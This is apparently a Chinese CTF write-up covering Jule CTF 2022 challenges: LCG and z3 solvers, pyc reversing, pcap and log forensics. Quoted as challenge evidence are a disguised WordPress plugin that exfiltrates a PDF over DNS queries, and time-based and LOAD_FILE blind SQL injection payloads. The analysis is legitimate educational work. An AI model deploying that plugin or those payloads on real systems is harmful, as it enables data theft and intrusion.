[Jule CTF 2022] 部分WP

60 篇文章 12 订阅
15 篇文章 2 订阅

这个比赛参加的人极少,比赛有一星期那么长,快结束的时候来了个大牛,一下上到12000+,我这6K只能排到第二了。不过题还是挺不错的。只是入口不是人链接,得自己输才能进,可能很多人因为这个没参加。

Crypto

Exclusively Secure String

第一个密码题是个LCG,参数全给了,密文也给了。密文是flag的位(不足的就不足不补0)用空格分隔,然后用LCG结果异或。

唯一没给的就是种子。

from lib.types import IStdin, IStdout
import os, random


class LinearCongruentialGenerator:
    def __init__(self, multiplier, increment, modulo, seed=random.randint(1,10000000000000000000000)):
        self.multiplier = multiplier
        self.increment = increment
        self.modulo = modulo
        self.seed = seed

    def next_number(self):
        self.seed = (self.multiplier * self.seed + self.increment) % self.modulo
        return self.seed


def main(stdin: IStdin, stdout: IStdout):

    with open("flag.txt","r") as f:
        flag = f.read()
    lcg = LinearCongruentialGenerator(1103515245,12345,2 ** 31)
    bin_flag = ' '.join(format(ord(x), 'b') for x in flag)
    encrypted = ""
    for i in range(len(bin_flag)):
        if bin_flag[i] == "1" or bin_flag[i] == "0":
            encrypted += str(int(bin_flag[i]) ^ (lcg.next_number() % 2))
        else:
            encrypted += bin_flag[i]
    stdout.write(encrypted)

所以第一步就是求种子。由于flag的头部已知:julectf2022{ 通过这个来得到LCG的输出。

cipher = '1000000 0100000 1000110 0110000 1001001 0100001 1001100 011000 011010 011000 011000 0101110 100101 1001000 011111 011011 011100 011111 011110 010011 010010 010011 011000 011001 010011 011011 011000 011101 0110111 1001011 011011 0110111 1001001 011010 010010 011110 0110001 100100 1001000 0110110 100011 100101 100111 1001000 0101000 1111'

tc = cipher.replace(' ','')
flag = 'julectf2022{'
bin_flag = ' '.join([bin(ord(x))[2:] for x in flag])
print(bin_flag)
bin_flag = bin_flag.replace(' ', '')
xstr = [int(tc[i])^int(bin_flag[i]) for i in range(len(bin_flag))]
print(xstr, len(xstr))
#xstr = [0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1]

LCG可以用矩阵快速幂处理,这样可以得到每次的结果

\begin{bmatrix} f_{n-1} & f_{n-2} & 1 \end{bmatrix} * \begin{bmatrix} a & 1 & 0\\ 0 & 0 & 0\\ b & 0 & 1 \end{bmatrix} = \begin{bmatrix} f_{n} & f_{n-1} & 1 \end{bmatrix}

先求出矩阵乘幂的结果

#sage
a,b,m = 1103515245,12345,2 ** 31
M = matrix(Zmod(2**31),3,3,[a,1,0,0,0,0,b,0,1])
for i in range(80):
    T = pow(M,i+1)
    print("[",T[0,0],',',T[2,0],"],")

#kk = [[ 1103515245 , 12345 ],[ 1117952617 , 1406932606 ],[ 8240309 , 654583775 ],[ 1845919505 , 1449466924 ],[ 1805731901 , 229283573 ],[ 1406949369 , 1109335178 ],[ 456479493 , 1051550459 ],[ 1339940641 , 1293799192 ],[ 268046093 , 794471793 ],[ 1864130185 , 551188310 ],[ 1524104789 , 803550167 ],[ 1211314225 , 1772930244 ],[ 224424669 , 370913197 ],[ 150879769 , 639546082 ],[ 729943717 , 1381971571 ],[ 1601471041 , 1695770928 ],[ 1670464429 , 2121308585 ],[ 1816561321 , 1719212846 ],[ 650433525 , 996984527 ],[ 518055249 , 1157490780 ],[ 424038781 , 1343235941 ],[ 1936902201 , 536853562 ],[ 1979096645 , 1511588075 ],[ 1285056865 , 1538207304 ],[ 788950093 , 2103497953 ],[ 1263112905 , 706568710 ],[ 159563157 , 956612807 ],[ 1487674993 , 1521280756 ],[ 1861575709 , 1588911645 ],[ 1315599961 , 371038354 ],[ 1966703077 , 33727075 ],[ 187569281 , 1680572000 ],[ 1772357869 , 88489753 ],[ 165544681 , 1282976734 ],[ 1101019957 , 527630783 ],[ 54614929 , 1194991756 ],[ 1876961981 , 1106424789 ],[ 2057685113 , 853518314 ],[ 37828997 , 392166107 ],[ 388629409 , 1387182456 ],[ 1501862285 , 1538766929 ],[ 340547337 , 654858422 ],[ 16501973 , 2086234551 ],[ 626859185 , 1792144676 ],[ 1766401373 , 837716109 ],[ 544554649 , 1513704002 ],[ 1314145573 , 269544019 ],[ 1720760001 , 1305165712 ],[ 496148013 , 1179132041 ],[ 124587817 , 1502988430 ],[ 113504885 , 1941297327 ],[ 1355538897 , 852280508 ],[ 1044567037 , 1787378757 ],[ 297359545 , 1328144282 ],[ 487138501 , 34689227 ],[ 460762593 , 805269672 ],[ 2005440205 , 235296705 ],[ 849914697 , 1203133286 ],[ 2037853205 , 794963623 ],[ 1953114865 , 321843028 ],[ 1370470045 , 1725935357 ],[ 1810011865 , 154978290 ],[ 1044797541 , 184094275 ],[ 1979738369 , 422948032 ],[ 1441858413 , 1929199097 ],[ 1509403497 , 1179349310 ],[ 14940597 , 1049906079 ],[ 1847883793 , 807982316 ],[ 809651517 , 214614197 ],[ 2045868281 , 973693770 ],[ 1212309509 , 662438587 ],[ 107112481 , 809784280 ],[ 505832461 , 263435057 ],[ 937594761 , 2030201366 ],[ 539548501 , 1700663191 ],[ 1559710001 , 932631940 ],[ 2055018461 , 1214206317 ],[ 1450606361 , 45289890 ],[ 293845925 , 2062159411 ],[ 518073153 , 342738416 ]]

根据这个结果和第一步的结果,用z3求出种子

from z3 import *

s = Solver()
x = Int('x')
s.add(x < 2**31)
for i in range(80):
    s.add((x*kk[i][0] + kk[i][1] )%2 == xstr[i])

s.check()
d = s.model()
print(d)
#2147483647

最后有了种子之后,现用原程序重现就得到flag了。

x = 2147483647

class LinearCongruentialGenerator:
    def __init__(self, multiplier, increment, modulo, seed=x):
        self.multiplier = multiplier
        self.increment = increment
        self.modulo = modulo
        self.seed = seed

    def next_number(self):
        self.seed = (self.multiplier * self.seed + self.increment) % self.modulo
        return self.seed

lcg = LinearCongruentialGenerator(1103515245,12345,2 ** 31,x)
encrypted = ""
for i in range(len(cipher)):
    if cipher[i] == "1" or cipher[i] == "0":
        encrypted += str(int(cipher[i]) ^ (lcg.next_number() % 2))
    else:
        encrypted += cipher[i]

flag = [int(i,2) for i in encrypted.split(' ')]
print(bytes(flag))
#julectf2022{0b51654989239127ba1bc084d1bc602b}

后边3个都不会,等WP,一般情况等不到是正常的,大姥都不写的。

Reverse

Entanglement

这个题跟热身里的题似乎一样,里边可以看到密码,输入密码就得到flag。为啥rev和crypto难度差别那么大呢。

┌──(kali㉿kali)-[~/ctf/jule]
└─$ ./legionnaire                                                                                  
=== Legionnaire OS v2.32 ===

PASSWORD PROTECTED
Enter password: C0rr3ctHors3B4tt3ryStapl3
Checking password...
julectf{cfa39db162df1e37787d6caa047305b4}

Gingerbread baking

flag先后进行反向-异或-减-shuffle 得到密文

import time
import random

FLAG = "julectf2022{redacted}"

def heat_ingredients(ingredients):  #反向
    print("Preparing the ingredients...")
    time.sleep(1)
    return "".join([ingredients[i] for i in range(len(ingredients)-1,-1,-1)])

def mix_into_dough(ingredients):  #xor 0x24
    print("Mixing the ingredients into dough...")
    time.sleep(1)
    return [ord(x) ^ 0x24 for x in ingredients]

def roll_dough(dough):  # -128 %256 hex
    print("Rolling the cookie dough...")
    time.sleep(1)
    return [hex((x - 128)%256)[2:] for x in dough]

def cut_into_shapes(dough):
    print("Shaping the cookie dough...")
    time.sleep(1)
    random.seed("".join(dough[-7:]))
    random.shuffle(dough)
    return dough

def bake(dough):
    print("Baking the cookie...")
    time.sleep(1)
    cookie = ""
    for d in dough:
        cookie += d
    return cookie

if __name__ == "__main__":
    cookie = bake(cut_into_shapes(roll_dough(mix_into_dough(heat_ingredients(FLAG)))))
    print()
    print("Here's your freshly baked gingebread cookie!")
    print(cookie)

#c6c2d99497c69696969c9692c7c2c7959193c0c2df92c6c1969cc6c792d190c7ce929dc195c296d09393c0c890

唯一的难点是最后一步shuffle

题目提示了flag的壳格式,所以可以得到足够的尾部,尾部已知,作种子可以复现最后一步shuffle

c = 'c6c2d99497c69696969c9692c7c2c7959193c0c2df92c6c1969cc6c792d190c7ce929dc195c296d09393c0c890'

b1 = b'julectf2022{'[::-1]
b2 = [i^0x24 for i in b1]
b3 = [hex((x - 128)%256)[2:] for x in b2]
b4 = ''.join(b3)

b4 = 'c2d0c7c1c8d1ce' #后7位(每位2字符)

import random 

random.seed(b4)
b5 = [i for i in range(len(c)//2)]
random.shuffle(b5)
print(b5)

b6 = [0]*(len(c)//2)
for i in range(len(c)//2):
    b6[b5[i]] = c[i*2: i*2+2]

b7 = ''.join(b6)
print(b7)

b8 = bytes.fromhex(b7)
b9 = [((i+128)%256) ^0x24 for i in b8]
print(bytes(b9[::-1]))
#julectf2022{7216fc46bdbb5b76cd693cf27f21e488}

Gifts

这个题少见,是下网页的推箱子游戏,进入下一关即可。

一个个打开网页,在game.js找到下一关的条件,需要按顺序把颜色连起来再hash与已知结果相同即可。

		// Check win condition
		if (
			gifts.length === this.locations.length &&
			this.locations.length > 0 &&
			!this.clear
		) {
			const stringGifts = gifts.join("");
			console.log(stringGifts)
			const hashedGift = christmasMagic(stringGifts, KEY);
			console.log(hashedGift)
			this.clear = true;
			if (hashedGift === HASH) {
				fetchAsync(`/flag`, "POST", {
					gifts: stringGifts,
				}).then((data) => {
					if (data.success) {
						this.correctAudio.load();
						this.correctAudio.play();
						setTimeout(() => {
							this.toggleTransition();
							this.loadLevel(data.level);
							this.clear = false;
						}, 500);
					} else {
						this.failAudio.load();
						this.failAudio.play();
						setTimeout(() => {
							this.toggleTransition();
							this.reset();
							this.clear = false;
						}, 500);
					}
				});
			} else {

这个由于js的hash与python不大相同,所以直接在浏览器里爆破。在开发都模式的console里写爆破脚本。

KEY = "53414e54415f434c4155535f57494c4c5f42455f564552595f48415050592121";
HASH = "bd2c76c87c2950605f31741000dfdc81";
COLORS = ["green", "red", "blue", "yellow", "purple"];
for(var i0=0;i0<5;i0++)for(var i1=0;i1<5;i1++)for(var i2=0;i2<5;i2++)
	for(var i3=0;i3<5;i3++)for(var i4=0;i4<5;i4++)for(var i5=0;i5<5;i5++)
		for(var i6=0;i6<5;i6++)for(var i7=0;i7<5;i7++)for(var i8=0;i8<5;i8++)
			for(var i9=0;i9<5;i9++){
				gifts = COLORS[i0]+COLORS[i1]+COLORS[i2]+COLORS[i3]+COLORS[i4]+COLORS[i5]+COLORS[i6]+COLORS[i7]+COLORS[i8]+COLORS[i9];
				encryptedGift = CryptoJS.AES.encrypt(gifts,CryptoJS.enc.Hex.parse(KEY),{mode: CryptoJS.mode.ECB,}).ciphertext.toString();
				hashedGift = CryptoJS.MD5(encryptedGift).toString();
				if(hashedGift == HASH)console.log(gifts)
			}

#purplegreenpurpleyellowpurpleredbluegreenyellowred

在控制台输入game.tiles在显示的块中,将对应box的箱子的位置和颜色改成指定值,进入第二关。然后跑着看flag

 

#julectf2022{c5254d088ac4e3f1efe12648c3b8b3b8}

Sidewinder

又是一个pyc的文件,手搓不是一回两回了,居然是唯一解出的。可能别人嫌麻烦吧。

这个是个python 3.11的版本编译的,一般的程序都不干逆。

选安个3.11然后转字节码

import marshal
import dis

def a1():
    code = open('chall.cpython-311.pyc', 'rb').read()[16:]

    code = marshal.loads(code)
    dis.dis(code)

a1()

发现都是些简单的运算,但是量很大

 23     >>  362 LOAD_FAST                1 (x)
            364 LOAD_CONST               6 (41)                 x[41] + x[36] - x[8] == 55
            366 BINARY_SUBSCR
            376 LOAD_FAST                1 (x)
            378 LOAD_CONST               7 (36)
            380 BINARY_SUBSCR
            390 BINARY_OP                0 (+)
            394 LOAD_FAST                1 (x)
            396 LOAD_CONST               8 (8)
            398 BINARY_SUBSCR
            408 BINARY_OP               10 (-)
            412 LOAD_CONST               9 (55)
            414 COMPARE_OP               3 (!=)

 22         420 EXTENDED_ARG            14
            422 POP_JUMP_FORWARD_IF_FALSE  3695 (to 7814)

 24         424 LOAD_FAST                1 (x)
            426 LOAD_CONST              10 (1)
            428 BINARY_SUBSCR
            438 LOAD_FAST                1 (x)
            440 LOAD_CONST               6 (41)
            442 BINARY_SUBSCR
            452 BINARY_OP                0 (+)
            456 LOAD_FAST                1 (x)
            458 LOAD_CONST              11 (27)
            460 BINARY_SUBSCR
            470 BINARY_OP                0 (+)
            474 LOAD_CONST              12 (219)
            476 COMPARE_OP               3 (!=)

写个脚本转成脚本

import re

data = open('aaa2.py').read().split('\n\n')

#print(data)
#['x', '41', 'x', '36', '+', 'x', '8', '-', '55', '!=']
for i in range(0,len(data),2):
    v = data[i]
    t = re.findall('\((.+)\)', v)
    if t[4] == 'x':
        q = f"s.add(x[{t[1]}] {t[7]} (x[{t[3]}] {t[6]} x[{t[5]}]) == {t[8]} )"
    else:
        q = f"s.add((x[{t[1]}] {t[4]} x[{t[3]}]) {t[7]} x[{t[6]}] == {t[8]} )"
    print(q)
    

给上一步生成的脚本加上头尾(z3求值),然后运行。虽然变量很多,但互相都不关联,运行起来很快。

from z3 import *

x = [BitVec(f'x{i}', 8) for i in range(45)]

s = Solver()

s.add((x[41] + x[36]) - x[8] == 55 )
s.add((x[1] + x[41]) + x[27] == 219 )
s.add((x[26] - x[2]) - x[9] == -103 )
s.add((x[10] * x[4]) * x[5] == 574200 )
s.add(x[8] - (x[10] * x[4]) == -4902 )
s.add((x[25] * x[35]) - x[34] == 2744 )
s.add(x[8] + (x[33] * x[31]) == 5748 )
s.add((x[31] - x[38]) + x[23] == 53 )
s.add((x[42] + x[6]) - x[28] == 97 )
s.add((x[3] + x[30]) + x[29] == 302 )
s.add((x[21] - x[13]) - x[10] == -91 )
s.add((x[35] * x[41]) + x[11] == 3147 )
s.add((x[26] - x[32]) + x[8] == 53 )
s.add((x[13] - x[42]) + x[22] == 149 )
s.add((x[17] - x[1]) + x[33] == 32 )
s.add((x[23] - x[41]) + x[43] == 99 )
s.add((x[43] * x[2]) + x[42] == 11064 )
s.add((x[24] - x[14]) - x[12] == -100 )
s.add((x[5] - x[41]) + x[1] == 179 )
s.add((x[44] + x[12]) - x[8] == 126 )
s.add((x[12] * x[14]) + x[37] == 4949 )
s.add((x[39] * x[1]) + x[32] == 5666 )
s.add((x[23] * x[27]) * x[15] == 132192 )
s.add((x[37] * x[2]) - x[32] == 5242 )
s.add(x[13] - (x[23] * x[43]) == -5104 )
s.add(x[26] - (x[7] * x[20]) == -2745 )
s.add(x[10] - (x[39] * x[19]) == -2686 )
s.add((x[37] - x[30]) - x[21] == -109 )
s.add((x[32] + x[2]) + x[4] == 257 )
s.add(x[15] - (x[17] * x[21]) == -2739 )
s.add((x[6] - x[39]) - x[4] == -45 )
s.add((x[6] - x[39]) - x[10] == 4 )
s.add((x[11] + x[3]) - x[6] == 122 )
s.add((x[12] + x[15]) + x[17] == 152 )
s.add((x[38] - x[21]) - x[16] == -102 )
s.add((x[36] * x[21]) + x[13] == 2891 )
s.add((x[0] - x[2]) + x[21] == 55 )
s.add((x[19] - x[18]) - x[14] == -142 )
s.add(x[21] + (x[9] * x[30]) == 5107 )
s.add((x[9] * x[31]) * x[3] == 287850 )
s.add((x[41] * x[19]) - x[3] == 2977 )
s.add((x[41] * x[36]) - x[30] == 2545 )
s.add((x[39] - x[5]) - x[30] == -169 )
s.add(x[37] - (x[15] * x[29]) == -5351 )
s.add(x[12] + (x[31] * x[26]) == 3184 )
s.add(x[12] - (x[2] * x[8]) == -5135 )
s.add((x[8] * x[17]) * x[13] == 230496 )
s.add(x[10] + (x[1] * x[35]) == 6602 )
s.add(x[11] + (x[43] * x[37]) == 5121 )
s.add((x[25] + x[1]) + x[43] == 269 )
s.add((x[44] * x[31]) + x[4] == 7224 )
s.add((x[1] - x[31]) - x[36] == 11 )
s.add(x[0] - (x[32] * x[23]) == -2444 )
s.add((x[9] + x[24]) - x[39] == 51 )
s.add(x[8] - (x[5] * x[13]) == -11320 )
s.add((x[2] * x[21]) + x[15] == 6210 )
s.add((x[24] * x[23]) - x[3] == 2398 )
s.add(x[32] - (x[2] * x[1]) == -12586 )
s.add((x[30] * x[41]) - x[18] == 5355 )
s.add(x[43] - (x[39] * x[32]) == -2298 )
s.add(x[19] + (x[30] * x[39]) == 4905 )
s.add((x[27] - x[8]) - x[20] == -56 )
s.add((x[11] * x[31]) * x[1] == 820287 )
s.add(x[21] - (x[12] * x[37]) == -2344 )
s.add((x[8] * x[44]) * x[40] == 294000 )
s.add((x[17] * x[28]) * x[16] == 259700 )
s.add((x[22] * x[11]) * x[40] == 596673 )
s.add((x[18] * x[5]) + x[22] == 11583 )
s.add(x[7] + (x[11] * x[38]) == 6815 )
s.add((x[37] * x[19]) - x[20] == 2737 )
s.add((x[26] - x[4]) + x[20] == 12 )
s.add(x[38] - (x[18] * x[13]) == -9647 )
s.add((x[9] - x[6]) - x[37] == -101 )
s.add(x[3] + (x[4] * x[17]) == 4952 )
s.add((x[31] - x[18]) + x[41] == 12 )
s.add((x[2] * x[37]) * x[3] == 534492 )
s.add((x[33] - x[11]) + x[30] == 78 )
s.add((x[17] * x[32]) * x[0] == 259700 )
s.add((x[12] - x[9]) + x[24] == 48 )
s.add((x[20] * x[10]) + x[2] == 2908 )
s.add((x[40] - x[7]) - x[32] == -51 )
s.add((x[35] - x[1]) + x[16] == 39 )
s.add((x[29] - x[1]) - x[17] == -66 )
s.add((x[13] * x[40]) * x[14] == 480200 )
s.add((x[39] + x[29]) - x[22] == 49 )
s.add(x[1] - (x[18] * x[25]) == -4833 )
s.add(x[34] + (x[18] * x[0]) == 10550 )
s.add((x[31] * x[43]) - x[42] == 5766 )
s.add((x[4] * x[11]) - x[20] == 12121 )
s.add((x[43] + x[24]) - x[18] == 52 )
s.add((x[12] - x[24]) - x[11] == -123 )
s.add((x[6] - x[29]) - x[40] == -47 )
s.add((x[35] * x[17]) - x[19] == 2687 )
s.add((x[1] * x[23]) * x[11] == 733941 )
s.add(x[39] - (x[34] * x[0]) == -5888 )
s.add((x[29] * x[15]) - x[7] == 5350 )
s.add(x[5] - (x[38] * x[34]) == -2964 )
s.add((x[37] - x[12]) - x[44] == -125 )
s.add((x[9] * x[23]) + x[34] == 2606 )
s.add((x[34] - x[32]) + x[8] == 54 )
s.add((x[36] - x[2]) - x[14] == -159 )
s.add((x[28] * x[3]) + x[14] == 5453 )
s.add((x[26] - x[16]) + x[39] == 3 )
s.add((x[20] * x[10]) + x[21] == 2857 )
s.add((x[20] * x[5]) - x[4] == 6397 )
s.add((x[38] * x[21]) + x[27] == 3183 )
s.add((x[31] * x[12]) + x[38] == 2848 )
s.add((x[19] * x[2]) + x[30] == 6257 )
s.add((x[29] * x[19]) + x[30] == 5801 )
s.add(x[37] - (x[12] * x[35]) == -2695 )
s.add((x[1] + x[28]) + x[11] == 293 )
s.add((x[44] * x[6]) - x[30] == 12649 )
s.add((x[29] * x[44]) * x[12] == 612500 )
s.add((x[11] - x[43]) + x[7] == 71 )
s.add(x[9] - (x[22] * x[34]) == -5494 )
s.add((x[8] * x[17]) + x[31] == 2409 )
s.add((x[15] * x[26]) * x[6] == 302940 )
s.add((x[17] * x[13]) * x[27] == 230496 )
s.add((x[42] * x[23]) + x[36] == 2497 )
s.add((x[19] + x[7]) + x[16] == 207 )

s.check()
d = s.model()
flag = ''
for i in range(45):
    flag += chr(d[x[i]].as_long())

print(flag)
#julectf2022{1bd6d1c989c312705de92d881170160f}

Forensics

Broken Card

附件是个data.png实际上是个xxd生成的16进制文件

00000000: 1f8b 0808 2082 8a63 0003 6461 7461 00ed  .... ..c..data..
00000010: ceaf 6a82 7114 c6f1 5334 6810 5130 c97e  ..j.q...S4h.Q0.~
00000020: 4910 cbef e84f 5f97 86c2 cc43 934b 7b41  I....O_....C.K{A
00000030: c462 f17d 6d03 074b 0b63 7a07 8a62 12a3  .b.}m..K.cz..b..
00000040: 77b2 6b30 b87b 98ff cad2 961c 08df 4f79  w.k0.{........Oy
00000050: c279 7838 1d3f f4e5 c2ec 41c5 b963 aa57  .yx8.?....A..c.W
00000060: b63f f344 8b56 d495 5cb1 6cad e7a9 58d5  .?.D.V..\.l...X.
00000070: 92ad 88b1 977e ec68 1884 fec0 1819 8681  .....~.h........
00000080: 1ff4 7ee9 fd71 bf52 f5c7 dead d6da b956  ..~..q.R.......V
00000090: 7b75 f3fd 2992 7a7f 193d dd49 3c1d 8d19  {u..).z..=.I<...
000000a0: d1da bcf1 6a5c 7eb6 fc68 76e7 d145 a49e  ....j\~..hv..E..
000000b0: 98e4 3498 e693 d9f5 57b3 6036 d9b7 ed73  ..4.....W.`6...s
000000c0: 77d7 1f65 06f7 d587 f179 0100 0000 0000  w..e.....y......
000000d0: 0000 0000 0000 0000 f01f f695 3008 a600  ............0...
000000e0: 2800 00                                  (..

还原后是个tgz的压缩包,解开后是个bz2的包,再解开就是flag

xxd -r data.png > a.png
mv a.png a.gz
gunzip a.gz
mv data data.tar
tar xvf data.tar
mv data data.bz2
bzip2 -d data.bz2
cat data

#julectf2022{E56B4E41A16FB0453E690D93C9C44681}

Tålmodig

流量题,用wireshark打开看到

POST /onske HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.69 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Host: onskeliste.ctf
Content-Length: 187
Content-Type: application/x-www-form-urlencoded

onske=02dAFf83EB6Bb025%27%29+UNION+SELECT+IIF%28SUBSTRING%28flag%2C+45%2C+1%29+%3D+CHAR%28125%29%2C+UPPER%28HEX%28RANDOMBLOB%2884719829%29%29%29%2C+%270b4B86A1A2DF3EB7%27%29+FROM+flag--+-HTTP/1.1 200 OK
Server: gunicorn
Date: Wed, 23 Nov 2022 12:15:20 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 33

Ditt ..nske har blitt registrert!


POST /onske HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Host: onskeliste.ctf
Content-Length: 187
Content-Type: application/x-www-form-urlencoded

onske=eDa2DCC2ee5Ee0bB%27%29+UNION+SELECT+IIF%28SUBSTRING%28flag%2C+45%2C+1%29+%3D+CHAR%28126%29%2C+UPPER%28HEX%28RANDOMBLOB%2870501923%29%29%29%2C+%279AF150B5C8D0FdAE%27%29+FROM+flag--+-HTTP/1.1 200 OK
Server: gunicorn
Date: Wed, 23 Nov 2022 12:15:20 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 33

Ditt ..nske har blitt registrert!


这像个教科书,告诉无回显情况下如果爆破。

SELECT IIF(LENGTH(flag) = 44, UPPER(HEX(RANDOMBLOB(97006908))), 'be9a6FC22ffe8F73') FROM flag

这名是当flag的某位为指定值时用randombolb生成一个巨大的串再hex,upper这样会用很长时间,通过这个时间来确定是否爆破成功。

先用tshark过滤出数据,再转一下码

#tshark.exe -r traffic.pcap -T fields -e ip.src -e tcp.time_relative -e http.file_data -E header=n -E separator=, -E quote=n -E occurrence=f > aaa.csv

from urllib.parse import unquote

data = open('aaa.csv').readlines()
fd = open('bbb.csv', 'w')
for v in data:
    if len(v)< 25:
        continue
    fd.write(unquote(v).replace('+', ' '))
    
fd.close()

最后根据用的时间确定是哪个字符

import re 

flag = ''
data = open('bbb.csv').readlines()
for i in range(500, len(data), 2):
    v = float(data[i+1].split(',')[1])
    if v>1.0:
        k = re.findall('CHAR\((\d+)\)', data[i])
        print(k,data[i])
        flag += chr(int(k[0]))

print(flag)

Infected Blog

也是流量题,里边有dns的流量,显然并不正确,从里边解出的文件可以知道加密方式

<?php
/**
 * Twitter Integration
 *
 * @package       TWIGR
 * @author        Elon Musk
 * @version       1.4.2
 *
 * @wordpress-plugin
 * Plugin Name:   Twitter Integration
 * Plugin URI:    https://twitter.com
 * Description:   Will automatically share new posts to a Twitter account.
 * Version:       1.4.2
 * Author:        Elon Musk
 * Author URI:    https://twitter.com
 * Text Domain:   twitter-integration
 * Domain Path:   /languages
 */

if (!defined('ABSPATH')) exit;
if (!file_exists('/tmp/c0007cdd~')) {

file_put_contents('/tmp/c0007cdd~', '');
mt_srand(0x35f770b9);
$job = 4281;
$str = file_get_contents('/srv/smb/private/deal_01.pdf');
$res = '';
for ($i = 0; $i < strlen($str); $i++) $res .= chr(ord($str[$i]) ^ mt_rand(0, 255));
$out = bin2hex($res);
for ($i = 0; $i < strlen($out); $i+=192) {
	$part = substr($out, $i, 48).'.'.substr($out, $i+48, 48)
	.'.'.substr($out, $i+96, 48).'.'.substr($out, $i+144, 48);
	$part .= '.n'.($i/192).'.j'.$job.'.h4x.dns';
	while (strpos($part, '..') !== FALSE) $part = str_replace('..', '.', $part);
	dns_get_record($part, DNS_TXT);
}

}

先把流量解出加密的pdf文件

#1382	37.579200	10.1.15.183	10.1.15.119	HTTP	2906	POST /wp-admin/update.php?action=upload-plugin HTTP/1.1  (application/zip)
#上传处理程序,导出得到twitter-integration.php 
#程序将deal_01.pdf加密后通过dns query的形式从server 10.1.15.119 发送到10.2.10.2

#tshark.exe -r blog.pcap -T fields -e ip.src -e ip.proto -e dns.qry.name -E header=n -E separator=, -E quote=n -E occurrence=f > aaa.csv
#取出数据并过滤无用数据得到aaa.csv 
#从aaa.csv取数据组成deal_01_enc.pdf
#用b.php 对deal_01_enc.pdf 解密

data = [0]*499

msg = open('aaa.csv').readlines()
#10.1.15.119,17,a0b377669b5fa71e9fc036142349fbdea5ed2ba1b990d282.5807f1aece085a30777c53cb6760ff8434160c8be80ded09.422095ed5f44c12634ad63fd9bdb58c5e2b675dc0416eec2.c0d02e3125bea9d7c4194964997aaefcdbf6da0b37819b2c.n0.j4281.h4x.dns
#10.2.10.2,17,a0b377669b5fa71e9fc036142349fbdea5ed2ba1b990d282.5807f1aece085a30777c53cb6760ff8434160c8be80ded09.422095ed5f44c12634ad63fd9bdb58c5e2b675dc0416eec2.c0d02e3125bea9d7c4194964997aaefcdbf6da0b37819b2c.n0.j4281.h4x.dns

for v in msg:
    if not '10.2.10.2' in v:
        continue 
    aa = v.split(',')[2].split('.')
    idx = int(aa[-4][1:])
    data[idx] = ''.join(aa[:-4])

v = bytes.fromhex(''.join(data))
open('deal_01_enc.pdf', 'wb').write(v)

最后根据种子生成异或流恢复pdf文件(php的rand和python不同,所以恢复还得用php写),flag就在文件里

<?

mt_srand(0x35f770b9);
$str = file_get_contents('deal_01_enc.pdf');
$res = '';
for ($i = 0; $i < strlen($str); $i++) $res .= chr(ord($str[$i]) ^ mt_rand(0, 255));
file_put_contents('deal_01.pdf', $res);
// julectf{7d17f1abb1e8a701454fc1a3c6875724}
?>

Lekkasje

附件是个lrz的文件,是一种特殊的压缩包,在linux有解压程序lrzip。

解开后是个web服务的后台日志

172.22.0.4 - - [28/Nov/2022:16:49:37 +0000] "GET /users/1%20And%20OrD%28mId%28%28IfNuLL%28Cast%28Hex%28LoAD_file%280x2f646174612f70726f66696c6570696374757265732f30613237623136623339663062383832303232323337373338396462316433342e6a7067%29%29%20As%20NchaR%29%2C0x20%29%29%2C163%2C1%29%29%3E52/settings HTTP/1.1" 404 9 "-" "Mozilla/5.0 (Windows NT 5.1; U; pl) Opera 8.54"

量还挺大,每行都是对文件hex后的一个字节的大小判断>65,>50这样,然后是返回值404或403来判断是否正确。把这些取出来,然后用z3计算,多的有5000+变量,第3张图上是flag

Miscellaneous

God Jul 

这个是英文吗?不大懂,进去以后发现是调查问卷

Catch Me

一大堆base64先base64再hex解,flag就在里头。

原来外国的base64解算是杂项

Wishlist

附件里有好多文件,在mysql下的wishlist.sql文件里有flag

Coal as presents

唯一有像杂项的题,附件是个尺寸很大的小图版。用010打开里边有好多图,把字们都取出来,是一椎数字或字符括号。

data = open('pic.png', 'rb').read()

a = data.split(b'\x89PNG')
for i,v in enumerate(a):
    open(f'pic_{i:02d}.png', 'wb').write(b'\x89PNG'+v)

第1张上有点小点

根据大小判断,这些小点是表示图片的使用顺序,列表示flag第几个字符,行有点表示用第几个图。用程序解出

from PIL import Image 

img = Image.open('pic_01.png')

n = '0124568ab}cdefjl{tu'
flag = ''
v = [0]*28
for i in range(28):
    for j in range(19):
        p = img.getpixel((j,i))
        if p[3] != 0:
            flag += n[j]
            v[i]=j

print(flag)
#julectf2022{ad1588e2bf1684d}

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值